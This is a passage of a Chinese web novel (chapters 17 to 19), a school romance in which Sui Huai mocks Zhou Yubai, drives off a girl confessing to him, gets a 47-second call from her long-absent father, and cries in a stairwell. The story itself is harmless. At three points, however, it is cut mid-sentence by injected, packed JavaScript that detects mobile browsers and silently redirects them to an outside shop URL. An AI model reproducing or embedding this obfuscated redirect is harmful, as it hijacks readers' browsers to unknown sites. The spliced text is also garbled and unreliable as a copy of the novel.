岁淮浑身烧得像在锅贴上烙了几圈,从头到脚红个透,眼神躲闪地不知道看哪儿好,手脚都没法儿放了。她是对周聿白有贼心,但她没这么大的贼胆啊。 周聿白闭上眼,深呼吸,平复下来那点情绪,被打断谁都不好受。缓了缓,看着岁淮现在变成红透了的样儿,他倒是气定神闲下来了,那股坏劣劲儿又窜出来,靠在门框,“懂了?” 岁淮结巴:“懂什么懂。” 周聿白笑了笑,“还没傻到那样儿,还有救。” “你再说。”岁淮真真正正地给他一拳头,脸还红着,“人渣。” 听她乱七八糟地骂,周聿白更好笑,仰着下巴看天花板才止住那没来由的笑,“你怎么还骂人呢,岁霸王。还人渣,哪学来的词。” “很多啊,”岁淮没眼看这个样子的周聿白,再看下去,她得露馅,转过身背对着他,“还有渣滓。” 一只手拍了下她脑袋,“少学这些词。” 岁淮捂着脑袋回头,周聿白已经换好衣服了,灰白色的睡衣,印着月牙,很有少女心。这是周盛巡买的,要不怎么说直男审美真是危机呢,出差回来的时候说给周聿白和岁淮定制了两件睡衣,很舒服,很好看,岁淮是一件星星睡裙,还有蝴蝶结,小女孩儿确实喜欢。周聿白就是这件月牙睡衣,冷冷清清还有点少女心,当时周聿白不穿,被钟晴威逼利诱让他穿。 钟晴最想要一个女儿,但只生了周聿白,一两岁的时候周聿白长得跟女孩儿没两样,秀气漂亮水灵灵的,反正衣服一穿,有把没把谁也不知道。那会儿钟情有朋友来家做客,也是一个小男孩儿,比周聿白大个一岁,看见一个人坐在地上捣鼓积木的小周聿白,咧着嘴,咿咿呀呀地跑过去一个熊抱,朝他妈妈咧嘴笑:“妹妹,妹妹!” 小周聿白还不太懂事儿,眨眨眼,也跟着咿咿呀呀,没说完,那小男孩儿就要来亲他,他吓得往后躲,那小男孩儿只亲在他脑门上。小周聿白一愣,放声大哭,积木被他耍小脾气推倒一地,哭得上气不接下气,脑袋上的头发都哭得汗津津的,脸也哭红了。 这笑料,常被钟晴说出来笑话他。 周聿白对他妈也没招,不情不愿地穿了,一家人笑得不行。岁淮指了指:“明明就跟你很配。” 周聿白扯了扯:“随便捞了件穿得。” “不信,”岁淮说,“你就是喜欢少女心的。周公主。” “……” 第二天去上学,岁淮叫了周聿白一路的“周公主”,等到了学校,提前下车,殷勤地给周聿白开门,弯着腰,“公主请下车。” 周聿白胳膊一揽,锁岁淮的喉咙,“皮痒了?” “略略略。” “再喊揍你了啊。” 岁淮悻悻,眼神瞥到下车朝这儿走来的程清池,眼珠滴溜溜地转,举起能活动的右手使劲儿挥了挥,“程清池,这儿!” 程清池戴着耳机,闻声,抬头,摘下耳机。手抬起来跟她打了个招呼,慢慢走过去。 岁淮的坏心眼儿藏不住了。 周聿白在她耳边:“你想做什么?” 岁淮坏笑:“周公主,你这名字多好听,让你好兄弟也听听吧,”她作势要从周聿白的魔爪中逃出来,没走两步,就被扯回来。周聿白一手勾她肩膀,把她扣怀里,跟着他倒着往后退,程清池过来一步,他就往后退一步,慢慢悠悠地说:“清池,你别过来,我们有点儿事。” 程清池这人好就好在这儿,特好说话,特乖,你让他停,他绝对不做会让你难抉择的事儿。 他当下就要停。 “别!”岁淮两手朝他扑腾,“程清池,你过来,我有个秘密要跟你说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268597|139675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “闭嘴。”周聿白警告她。 “我就不。”岁淮眼睛亮晶晶的,手动不了,她就动手指头,朝程清池勾了勾,“过来呀,我告诉你,快过来呀。” 程清池难以抉择。 周聿白笑得邪性,一只手控制住岁淮,另一只手还能揪她耳朵,“你胆儿肥了岁淮,那话怎么说来着,三天不打上房揭瓦。” 岁淮眼珠又滴溜溜地转。 周聿白就知道坏了。 下一秒,岁淮朝程清池喊:“周公主打人了,周公主打人了——”周聿白愣了下,岁淮趁机挣脱开,径直跑向程清池,拽着他的衣服当挡箭牌,一边朝周聿白得意洋洋地挑衅:“略略略,抓不着。” 周聿白站在对面,抱着臂,“行,我记着,”他背上书包,转身朝学校门口走,几步后回头,倒着走,挑眉笑,那眼神像是在说“给爷等着”。 岁淮朝他竖中指:“我等着。” 等周聿白人走没影儿了,岁淮拍拍手,看站在一边没动静的程清池一眼:“我们也进去吧,再晚点就要被老徐抓到了。” 程清池:“你的书包。” “嗯?” “带子松了。” 岁淮摸了摸,左边果真松了些,刚才跟周聿白打闹的时候拉松的。她紧了紧书包带,那点儿小强迫症露出来,“对齐了吗?” 她拉起两边的带子比划。 程清池:“齐了。” “周聿白刚那绰号你听见了吗?” “嗯。” 岁淮笑嘻嘻:“以后就喊他周公主,他可有少女心了。” 程清池笑了笑,静静地走着。 - 第二节课是升旗仪式。 这次国旗下演讲的是文科班的第一名,岁淮瞧着眼熟,但记不起来,单手撑着下巴看。 章盈站在她后排,用手戳她腰:“难得啊,演讲你都听。” “没听,”岁淮努了努嘴,“这个女生有点眼熟。” “上次给周聿白送水那个。” 岁淮怔了怔,“篮球场上那个?” “对啊。”章盈现在还记得那女孩儿当时说的话,“你不用接受,只需要知道我是送给你的就够了~”她抱着胳膊,抖了抖,“咦,一身鸡皮疙瘩。” 演讲完,岁淮稍后一些走,打算等周聿白,等了几分钟都没见到人,倒是把另一个人等来了。 顾远单手揣兜朝她走来想,笑得讳莫如深。岁淮眼不见为净,侧身,降低存在感。 那抹身影就停在她身前。 顾远低下头,距离近得要碰着岁淮的耳朵,“等谁啊,我?” “周聿白。” “哦。”顾远直起身,靠在绿色栅栏上,无所事事地数着栅栏有几根,看岁淮一直无视他,也不恼,勾着唇靠近,歪着脑袋又招惹她:“那怎么还没等到?” “没你事儿。”岁淮离他远点。 “没我事,但有别人事儿,”顾远把放在口袋里的那只手拿出来,搭在岁淮肩膀上,笑得吊儿郎当:“——他被人表白,忙着呢。” 17. 眼泪 岁淮蓦地抬头看去。 操场台阶下,学生洋洋洒洒地退场,阳光金灿灿的,红旗飘扬,操场绿意葱葱,在这样一副意境浪漫青春的画面中,女生奔向少年。 周聿白站在第三层台阶,本就比女生高出一大截的身高更高了,女生一头扎进他怀里。他朝旁边躲,腰撞到栏杆,揣在兜里的两手终于拿了出来,往后撑。 岁淮只愣了一秒,飞速跑过去。 女生步步紧逼,周聿白没什么表情地往后退,一边退一边躲,听她说:“那么久了你总应该对我有点印象吧,就算你现在没这个想法,但是我们可以好好相处啊……” “抱歉。” “我不需要你的道歉,学长,我们可以试着先做朋友……” “我对你,真没感觉。”他叹气。 “那怎么样才算有感觉——”女生激动起来,往前跨了两层台阶,周聿白步子迈大,也往后迈了两层。就在他退无可退,退到最后一层台阶时,女生被人拽了下去,岁淮把她拉得远远的,“没感觉就是没感觉,一年十年一百年都没感觉,这辈子下辈子都没感觉。” 女生懵了下,皱眉,“你谁啊你,多管闲事。” 岁淮上下打量了眼,学校竟然还有不知道她跟周聿白是形影不离的“好兄妹”吗?她眼珠转了转,回头看了眼站地远远的周聿白,见他靠在那笑,没好气地冲他竖了个中指,狗东西。岁淮转回头,盯着女生,气定神闲:“我啊,他女朋友。” “?”女生不信。 “——的好闺蜜。”岁淮补了句。 女生眼神不善:“学长什么时候有的女朋友,昨天我打听到明明没有。” “谁说没有的,”岁淮放松下来,跟周聿白特像,也靠着,懒洋洋的调调,“昨晚有的,你不行啊学妹,这消息也太滞后了。” 女生皱眉,胸膛起伏,像是要一顿输出,岁淮抢先一步拦住女生的肩膀,“哇”的一声,“学妹你眼睫毛好长好卷啊,你是不是化妆啦?” “……谁化妆了!”女生嗤一声,仰起头,“我天生丽质的好不好。” “真的吗?”岁淮激动地又戳戳她脸,“可是你的皮肤也很好诶,是我见过最好的一个了。你是不知道我闺蜜,那皮肤有多差,为了追周聿白她连敷了三年的面膜,都不能跟你比呢,好不容易追到周聿白了,结果发现周聿白这人竟然有怪癖!” 女生怔了怔,侧耳过来,声音压低:“什么怪癖?” “你想知道啊?”岁淮抱臂。 “想知道。” “告诉你也不是不行,不过你要转头跟别人说了怎么办?” “我不会说的!我这人嘴巴比水泥还紧!” “行吧,告诉你。周聿白也爱敷面膜,还爱穿粉色,还要别人喊他公主!”岁淮有一搭没一搭地毁人风评,“特别少女心。” 女生“啊”了声,奇怪地看了眼冷淡着脸色的周聿白,“……真的吗?” “嗯,真的,”岁淮重重点头,痛心疾首,“我太后悔没劝住我闺蜜跟他在一起了,我回去就劝他俩分手。” - 手机里弹出几条消息,小分队的小群里问周聿白和岁淮怎么还没回来。 周聿白打字回复:有点事儿。 章盈:周公主和岁公主有什么事儿啊。 余伟:??? 余伟:不是这什么绰号,周聿白,还公主? 周聿白直接@章盈,问她:岁淮跟你说的? 屏幕弹出来章盈的消息,即使看不见她表情,都能想象到她那副跟岁淮一样欠嗖嗖的脸:对啊对啊,好姐妹当然要学会分享~ 余伟在群里疯狂询问周聿白什么时候多了这个少女心的称呼,章盈跟他在里面掰扯。 周聿白没再看了,收了手机,看球台边站着的岁淮和女生,两个人刚还剑拔弩张地聊,现在就你好我好姐俩好了,周聿白不懂小女生之间的友谊,感叹两声神奇,放松下来盯着看。 没看一会儿,台阶边传来脚步。 周聿白眼神没动,瞥了下影子,目光重新回到原位。 那道身影在周聿白同一平行台阶停下,“咔嚓”一声细微响,银色打火机燃起一点火星,点燃了指尖的一根烟。 烟雾弥漫开来。 “她闻不得烟味。”周聿白淡声说。 “关你什么事儿。”顾远说。 “我妹,”周聿白睨了他一眼,收回,走下台阶,“与你无关。” 顾远哼笑一声,“又不是你亲妹,还摆起谱来了。” “警没警告你别再缠着岁淮,”周聿白停下,回头,扯了扯嘴角,对别人他有礼貌,对顾远他能戳一刀是一刀,“垫底王。” 顾远那股淡定劲儿没了,烟一扔,冷着脸:“周聿白。” 周聿白这人就这样,一般人他还能装装,遇上顾远这种没脸没皮道理讲不通的,本性就露出来了,坏得很,玩不死你也得让你长个记性。顾远在进国际班之前是理科班的,成绩烂,烂得没边儿,周聿白不爱揭人短,顾远让他开了先例,他不爽了,就淡淡喊一声:“垫底王。” 顾远那人一身的混世皮囊就破了功,气急败坏,烟也扔了,也不装了,“你再说一遍试试。” “说什么?”周聿白漫不经心地转着手机,笑得不行,“说你垫底啊。” “周聿白。”顾远咬着牙,拳头攥得死紧,三步并作两步要冲下来打人,拳头挥出去。 周聿白还在笑,看顾远气急败坏,他心底就舒服了,不紧不慢地单手撑着栏杆,长腿一跨,从栏杆这边跨到了那边,顾远扑了个空。 “你有本事别躲。”顾远狠狠道。 “不躲,让你打,”周聿白低头笑了笑,“蠢的。” “是,你不蠢,你多聪明啊,”顾远反应过来了,这人就故意地没事找事溜他玩儿,收敛起刚才那气急败坏样儿,也变得悠哉起来,往操场一指:“招蜂引蝶,花枝招展,不守男德说的就是你。你知道刚才岁淮等了你多久么,站那儿太阳底下,热的一身汗,你倒好在这你侬我侬。” 周聿白径直从另一边下去,没再管他。 下了台阶,篮球框那边的岁淮好像聊完了,女生看了周聿白一眼就跑开了,岁淮心满意足地朝周聿白挥手。 “你们说什么了?”周聿白抽出一包纸巾,给岁淮擦了擦脑门上的汗。 “没说什么,让她别追你,身边那些小姐姐们也别追你,没戏。” “这么听话?”周聿白笑了下,一只手玩着岁淮的刘海,将浅浅的刘海全薅到中间捋成一撮,往下顺,跟顺狗尾巴似的,特别好笑,周聿白把自己给玩笑了,“小狗啊小狗。” 岁淮把手机拿出来,一照,“啊!周聿白你乱动我头发,丑死了!”她把自己刘海复原后,跳起来要去弄乱周聿白的头发,他不让,一边倒着走一边笑,笑得特别欠:“不给弄。” “怎么,你还怕弄乱了就不帅了,偶像包袱真重!”岁淮指桑骂槐,“弄乱了好啊,不帅了好啊,就不会有那么多学妹看走眼了。” 周聿白轻扬眉梢,一种“爷就是光头也绝帅”的口吻说:“不存在。” “臭屁,自恋。” “我这叫自知之明。” 岁淮刚要抬手打他,被身后一声叫住:“岁岁。” 她定住,扭头看。 看台上的少年只身一人站着,左手的银色打火机在阳光的照耀下闪着光,脚边是还在燃烧的烟,他喊了一声她的同时捡起了那根烟,掸了掸。烟灰坠落时,风吹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281921|139675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,顾远举起那根烟,笑了笑,“我没乱扔垃圾哦。” 少年肩头似有光坠落。 岁淮怔了一瞬。 顾远下一秒就朝她挥挥手,怕她听不见,单手放在脸边做喇叭状,“回去吧,下次见。” 我的姑娘。 - 晚自习的时候统考成绩出来了。 整个七班考的都不错,算是给高三紧锣密鼓的备考开了个好兆头。不仅是最高分、班级平均总分,就连单科平均分都甩出第二名不少,尤其是物理单科,教物理的是老葛,所谓人逢喜事精神爽,这学期得了个公主,成天乐呵呵的,这次统考单科成绩考得好,学校发了笔奖金,更是春风满面。 这晚是老葛的物理晚自习,发了答题卡,先让课代表把答案抄在黑板上,让学生自己订正。一中向来都这样,讲究学生自己的思维,什么事儿都学会自己思考,别屁大点东西都依靠老师,到了考场谁也都靠不住,只能靠自己。 岁淮理综很一般,答题卡发下来光是订正就订到了最后一节课。最后一道大题她不会,拿出手机,戳了下周聿白,问他要答题卡3。 周聿白微信没回,等到了一条匿名短信。 [岁全亮。] 岁淮想当做垃圾短信删了的手,就这么顿住了。打开主页面,查询,是一个外地号码,短信刚刚发来的。 她快速打字回复过去。 [你是谁?] 那边还是只有三个字:[岁全亮。] [你是岁全亮吗,你人在哪儿?] 那边没再回复了。 没有任何犹豫,岁淮假装上厕所溜了出去。带着手机,径直冲到厕所最里间。她手抖地拨了过去,这通电话她其实没报多大希望,那个人跟死了一样消失那么多年,像这种拨过去的电话岁淮这些年不知道打了多少个,却没有一个接通。 等待的过程中,度秒如年,厕所里没空调,这点时间岁淮已经热的满头大汗,浑身汗津津,却浑然未觉地盯着手机看,一直看一直看,看的眼睛充血发红,恨不得把屏幕那头的人揪出来,狠狠地质问他这些年到底去哪儿了,为什么像丢垃圾一样丢掉她这个女儿,为什么不要她,为什么生了她不管她,到底是为什么? 嘟—— 电话通了。 岁淮的心也随着那声“嘟”高高悬起,屏息,仔细听着对面的动静。那头也有人在轻轻呼吸着。 岁淮像是抓紧了最后一根稻草,多少年了,岁全亮从她五岁那年消失到现在有多少年了,整整十三年!岁淮握着手机的手都是抖得,唇也抖着,声音颤着,“岁全亮,是不是你?” 那头没人说话。 “是不是你说话啊!”岁淮压抑了十三年的情绪在这一刻分崩离析,她甚至记不起自己还在学校的厕所隔间,也呼吸不到厕所里的味道,感受不到逼仄环境里的闷热和窒息,她满脑子都是那个男人,那个哄着她说“爸爸给你买根阿尔卑斯的棒棒糖去”,结果一去不复返,消失了整整十三年的男人!岁淮想要恶狠狠地质问他,可是一开口,声音就哑了,哽咽不止:“……你为什么不说话,岁全亮,我是岁淮,我是你的女儿,你唯一的女儿,你大冬天把我都在垃圾桶边不管不问了十三年的女儿,你为什么不要我……爸爸……” 眼泪一瞬而下。 可回应她的依旧是一声“嘟”,电话挂断,岁淮再打过去时已经关机了。她不信,一遍又一遍地去重拨,每一次结果都是一样的,再也打不通了。那个消失了十三年的男人,短暂地出现过一分钟,又再次消失了。 通话页面上显示着47秒。 在岁淮五岁以后,她的亲生父亲,只参与了她生命中的47秒。 岁淮捂着嘴,眼泪很快砸湿了地板。 18. 别哭 铃声在岁淮无声的哭泣中敲响,只是她听不到。 周聿白看到岁淮发来的消息,是在下课铃敲响的前一分钟,打开手机,消息孤零零地躺在那儿,后面没跟其他消息。回头看了眼,岁淮的座位空空荡荡,人不在。 铃声响,安静的教室像是按下了结束键,压抑繁忙的一天终于过去,迎来短暂的放松和休息。书本刺啦刺啦地一页页合起,然后是书包的拉链声,桌椅与地板摩擦地吱嘎响,还有第一个打开教室门冲出去的飞毛腿。 陈柒柒收拾好书包,咕咚咕咚喝完最后几口奶茶,看见周聿白走过来,问她:“岁淮呢?” “上厕所去了,”陈柒柒看手表,也奇怪了,“不对啊,她二十分钟前就去了,怎么还没回来。” 周聿白没说话,侧过身让陈柒柒出去,坐在岁淮位置上,看她打了一半的草稿和卷子。合起书卷,塞进书包,斜背在肩膀上,周聿白边打岁淮电话边往厕所走。 教学楼男女厕所在相反方向,周聿白一个人朝女厕那边走,引来不少注意,他不在意,一直走到走廊尽头最后一个班级教室的后门才停下。 后门露出教室的光,他手机通话页面也折射出光,没一会儿,教室灯关了,只剩下周聿白举在耳边的手机。几秒后,手机光也灭了。 岁淮挂了电话。 周聿白脸色冷下来,望着幽暗的一角,脚未动,先有人从里面晃悠出来。 岁淮看见周聿白的时候也吓了一跳,她匆匆抹干眼泪,挂断电话就往外冲,一抬眼,前边处着一个高高大大的黑影,跟电影里拎着刀砍人的雨夜死神特别像,定睛一看才发现是周聿白,更吓人了,拍了拍胸脯:“你站这干嘛,你是男生,你站女厕所前面?” “等你。” “等我……干什么?” “回家。” 他一个字一个字地往外蹦,语气算不得好,岁淮后知后觉反应过来,“……是不是我刚没接你电话吓着你了?” “没吓着,”周聿白把书包扔岁淮身上,“急死了。” 岁淮注意到周边的教室全都黑了,她上个厕所上了将近三十分钟,学也放了,人都走光了,周聿白打电话她还挂了,能不急吗。她悻悻一笑,没提那通电话,“我刚教室里憋得慌,出来透气,下课前我才去上厕所,没多久。” “电话怎么没接。” “喂,你变态啊,厕所里怎么接你电话?”岁淮背好书包,洗了洗手,轻甩了甩,“你不知道人在上厕所的时候最脆弱,最没耐心,最没法思考吗,当然不能接你电话啦。” “嗯,不接电话,”周聿白声音很淡,“就让我这么干着急,急死吧。” 他抬脚往楼道走。 岁淮在原地愣了愣,看着周聿白脚步快速的背影,也提速追上去,小心翼翼:“……你生气啦?” “哪敢。”抛来两个字。 “口是心非,”岁淮从跟他同一步速下楼到落后他一步,拽了周聿白斜斜背着的书包,拿过来,背在自己的胸前,“为了表示歉意,岁淮小姐主动申请今晚帮周聿白先生背书包,行不行?” 周聿白盯着她。 “……那、那明天也背?” 还盯着。 “——大后天也背。” 周聿白收了手,站得直,正儿八经地继续盯。 岁淮一鼓作气:“一个月!”她蹦了一下,前后两个书包都抖了抖,像动画片里的海底小乌龟,“一个月够久了吧,不带你这样压榨人的。” 周聿白没憋住,笑出声,把自己书包夺回来,背在肩膀上,下楼,“不用你背,爷自己背。” 岁淮亦步亦趋地跟着:“那你要怎么样?” 周聿白打开手机,连上蓝牙,耳机舱一开一盖,开始听歌,与世无争。岁淮瞄了眼,是一首“我不能原谅只能沉默”,还没唱两句,周聿白换了首别的,歌名叫“撒谎的人有罪过”,这次前奏估计都没听完,周聿白换成了“没心没肺的小骗子”。 岁淮:“……” 懂了,在这点她呢。 周聿白这人就是这样坏,他不爽了,不跟你争,也不勉强你,就旁敲侧击地提醒你,一遍不行再来一遍。等你反应过来了,他就不收敛了,似笑非笑地盯着你,那层皮囊跟人精似的,那双眼也洞察人心,叫人无处遁形。 “你什么意思啊周公主。” “这话得我问你,”周聿白停下来,停在比岁淮矮几层的台阶上,转身,仰头,“你有事儿瞒我。” 岁淮心口似是被羽毛尖儿轻轻扫过,好麻,好酸,那股被她强行抛之脑后的难过悉数涌来。她浑然未知,她这双眼从厕所出来时就是红的。 “岁岁,”周聿白抬手抹了下她的眼尾,“别哭了。” 少年的指腹薄而带茧,还有常年跟纸笔打交道的墨香味。缓缓擦过她的眼尾,力道又轻又重,他左侧的手机因为无意识触碰屏幕而亮起,小小的、微弱的一道光线,在漆黑的楼道中亮起,像一簇火焰,燃烧在岁淮暗不见光的人生里。 岁淮记起第一次见周聿白的时候。 也是小小的一撮火焰。 岁淮眼泪不受控制地落下来,一颗,一颗,又一颗,重而滚烫。 “我好没用,我这次物理又没考及格。” ——我好没用,我的爸爸在跟我通话47秒后再次消失。 “我本来以为可以的。” ——我本来以为这次能够见到他了。 “我花了那么久的时间。” ——我用了十三年。 “为什么别人都能做到我不可以。” ——为什么别人都有爹有妈有家我没有。 “我做错了什么要这样对我。” ——爸爸,我到底做错了什么,为什么要一而再再而三地抛弃我? 岁淮在一句一句谎言中诉说着自己的委屈,她蹲下来,毫无形象地坐在台阶上,蜷着身子,像是缩进壳里的蜗牛,无声地哭着。 周聿白在旁边坐下,长腿敞开,弯着腰,两条胳膊搁在腿上,看着泣不成声的岁淮,半晌,伸手擦了下她眼泪,“那么难过的吗?” 岁淮湿着眼望他。 周聿白叹口气,靠过去一点,胳膊一揽将岁淮扣在肩膀上,“想哭就哭吧,今天怎么哭都成,衣服给我哭湿了我都不吭一声。不过明天就要振作起来,去想想为什么总是犯同一种错误,为什么考前看了还是会出错,不在想自己的失败,而是去寻找为什么失败,好不好?” 岁淮抽噎着:“……你怎么还让我哭啊,不都说哭不能解决问题,不应该让我停下来吗?” “哭是解决不了问题,但没有人哭是为了解决问题。”周聿白淡淡的声音,格外温柔耐心,“哭,只是为了派遣情绪,让自己好受点儿。” 岁淮眼泪往外涌,放声大哭。 这里是学校,虽然这会儿一层楼都走得差不多了,但是这种哭法很难不招来保安。周聿白一手摁住岁淮后脖颈,将她小脸埋进自己怀里,另一只手轻轻拍着岁淮的背,“好了好了,我们家岁岁只是一时没考好,语文作文是第一名,岁岁很棒的。” 岁淮两条胳膊紧紧搂住周聿白的脖子,闻着他身上熟悉又安心的味道。 周聿白,再抱紧我一点儿吧。 周聿白,别再自称是我哥哥了。 周聿白,我喜欢你,好喜欢你。 你可不可以给我一个家。真正意义上的家。 - 岁淮昨晚哭的太狠,第二天起来眼睛还是肿的。她昨晚没睡好,上午请了假,结果在家里也待不住,第二节课的工夫来了学校。 学校高一高二正在做广播体操,音乐响着,还夹杂着领导时不时说话的声音,话筒滋啦滋啦响。这破话筒去年就有毛病了,周聿白那会儿是联考第一名,上台国旗演讲,没讲几句话筒就罢工了,没想到这会儿还没换,学校抠门得不行。 岁淮扔了手里的吸吸冻,准备进校门。 “岁淮。” 她回头。 顾远从一辆黑车下来,背着包,转着手机,晴天艳阳照得他那截断眉愈发肆意惹眼,问她:“现在才来,请假了?” 岁淮没理他,继续走。 顾远跟上去,揣着兜,侧行在一边:“学生街开了家骨汤店,去不去?” “顾大少爷什么时候还去这些小店了,平常不都是日料餐厅吗。” “兄弟他姐开的,我去照顾生意,口味确实不错。”顾远笑了笑,“去不去?” “不去。” “去吧,”顾远拉了下岁淮的袖子,弯下腰,要来缠她,猝不及防对上岁淮那双还未消肿的双眼,错愕半秒,“你哭了?” “……没有。” “谁欺负你了?” “说了没有。” 顾远一把拽住岁淮的书包,把人往怀里带,桃花眼顷刻变得凛冽,“我猜猜……是你那个好姐妹?同桌?同学?还是……”他顿了顿,“周聿白?” 岁淮一阵沉默。 “……真是他?”顾远咬着牙,冷笑,拳头握紧,“他哪来的胆子惹哭我的姑娘。”他作势抬脚就要冲进去,被岁淮一手拉住,这人真就劲儿比牛还大,拉都拉不回来。 “不是,你别乱猜!” “你都哭了!”顾远第一回没了那吊儿郎当的德行,紧张又心疼,想哄不知道怎么哄。 岁淮:“我没有!” 他嗓门儿大,再喊两嗓子铁定招来人,她怎么就那么倒霉,竟然碰见顾远。岁淮把他往边儿上拽,转移话题,“你刚不是说去吃什么骨汤吗?我同意了,走,现在就去吃骨汤!前提是你给我闭嘴,别瞎嚷嚷!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296765|139675||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别转移话题,爷现在不想吃。”顾远看她,“你就告诉我是谁欺负你了,谁把你惹哭了?” “顾远,你再问下去我真的生气了。” “……”顾远深吸一口气,平复情绪,“行,我不问,”他长相本就带有攻击性,冷着脸的时候更是眉眼凌厉,用一种“揍得你爹妈不认”的语气说:“别让老子知道是谁。” “你能不能别中二。”岁淮说。 顾远愣了愣,不敢置信地看着她,“你说我什么?” 岁淮若无其事地往来时的路走,离校门口远了些,才放开拽住顾远衣服的手,“你带路吧,我不认得哪家店。” 一只手又将她扯了回来,顾远这人混球得很,不放过任何一个跟岁淮接触的时机,左手抓住她手腕,右手还要假眉三道地虚虚揽一下她的肩,美名其曰:“别摔了。怎么站都站不稳,瘦的跟杆儿似的,周家干什么吃的,连个人都养不好。” “放开。”岁淮一步退了半米远,警惕地盯着顾远,眼神里说着“你再靠近一步我就揍死你”,像个炸毛的小狐狸,看的顾远直笑。岁淮气不打一处来,“笑什么笑啊你,我警告你,不许说周家的坏话,也不许拽我。” “不拽不拽,我错了我错了。”顾远笑着说话,哪有半点真心道歉的样子,看着就混。岁淮懒得跟他计较,问他有事没事儿,没事儿她要去教室了,顾远闲哉哉地往墙边一靠,两手往兜里一揣,长腿这么一架,轻轻松松地就把上楼的路给堵着了,“有事儿,刚话还没说清楚呢。” “有话就快点说,磨磨蹭蹭,有劲没劲?” “怎么算有劲,你说一个,我听听。” “你说不说?” “说说说。”顾远抱臂,“你刚说我中二,几个意思啊,什么叫全都这么以为?”他很不服气地用脚踹了下栏杆,发出噔的一声轻响。 岁淮笑了下,了然地点点头:“顾大少爷偶像包袱挺重啊,还在意别人的说法?” “不在意,”顾远说,“我只在意你——” 岁淮笑意僵住,瞪他,顾远扯了扯嘴角,拖着尾音接:“的说法。” 岁淮知道顾远那大少爷脾气起来了不好糊弄,他要是不爽了能缠人缠个没完,她刚刚就图一个嘴快,谁知道他还真听进心里去了。 “我胡说的,没过脑子,你就当听了个屁。” “那不成,必须说得明明白白,”顾远突然直起腰,整个人朝着岁淮那边压,距离拉进,“不然你别想走了。” “——现在就是啊。”岁淮说。 “嗯?”顾远没明白。 岁淮冷哼,拍掉顾远的手,从他身下逃脱,站在一边,“你不是问为什么说你中二吗,现在、刚刚、你做的一切、说的所有话,就是啊。”她抱臂,挑眉,“顾远,你不会是霸总小说看多了吧,成天耍帅,我告诉你那不叫耍帅,那叫中二。” 顾远脸一黑。 岁淮趁他没发火,往前走。 学生街就在一中后门,一条街,走个几分钟就到了。进了店,点了两份招牌骨汤,这个时间顾客不多,十分钟后老板上了餐,岁淮抱着试一试的心态抿了一小口,鲜滑爽口,一点都不油腻。 顾远看她那样儿就知道她喜欢这口,得意地笑:“不错吧。” “不错。” 下回跟周聿白可以来尝尝。 骨汤份量足,里面有炖得软烂的大排骨,虫草,菌菇,枸杞,还有很多岁淮见过但没吃过的小料,汤喝完人也饱了。 岁淮摸摸撑得圆鼓鼓的肚子,酒饱饭足后人就容易犯困,单手撑着头,眼皮耷拉着。桌边的手机嗡嗡震动一下,她懒懒地掀开眼皮,看了一眼。就一眼,吓得立马清醒。 周聿白:人呢? 岁淮琢磨了会儿,回:家里呢。 周聿白:干什么? 岁淮:补觉啊。 对面没发了。 时间滴滴答答地过去,岁淮的心慢慢悬了起来,越发心虚,连顾远跟她说话也没听进去,直到嘴角忽然触到一阵温热,细微的摩擦,似电流。岁淮回神,眼前是顾远还没来得及收回的手,修长的指节从她嘴角撤离,他笑:“没擦干净,我帮你呢。” 与此同时,手机响了,舒缓的轻音乐此刻像极了催命符。 是周聿白打来的电话。 岁淮心虚不已,接通:“……喂?” “在哪,跟谁,干什么。” 又是那句话。 对面的顾远似是也听见了,好整以暇的坐在那儿转手机,似笑非笑的。 岁淮支支吾吾了会儿,还没开口,对面先发制人:“别急着回啊,岁淮。” 电话里的嗓音忽远忽近,像是在屏幕那边,又像是近在咫尺,下一瞬,周聿白冷淡的声音从她身后响起:“你给爷转头看看再说话。” 19. 造反啊 岁淮杵在凳子上,像个木头桩子,半天没敢回头。 对面的顾远笑了声,骨子里的欠劲儿上来了,门口的身影映在他眼底也当做看不见,搁在桌面的手指点了几下,忽然放在岁淮手背上,轻轻拍了下,“走什么神啊,电话不接就挂了,省的一些没眼力见儿的人打扰咱俩喝汤。” “把手拿开。”周聿白走进来,拉过岁淮的手放在桌底下,坐到一边把电话挂了,扭头看过去,“傻了?” “……” “吃完没?” 岁淮乖乖点头,周聿白也不废话,拉着她就走。走到门口时停下,顶着顾远杀人的眼神走到柜台,率先一步扫码付款,再走出去时才给了顾远一个眼神,“请你了,别客气。” “周、聿、白。”被人抢着付款,还是被死对头抢着在心爱的姑娘面前付款是一件超没面子的事儿,顾远脾气上来了,咬着牙, “你给老子站那儿,抢着付款什么意思,这顿我请的。” “谢谢,不缺这一顿的钱。” 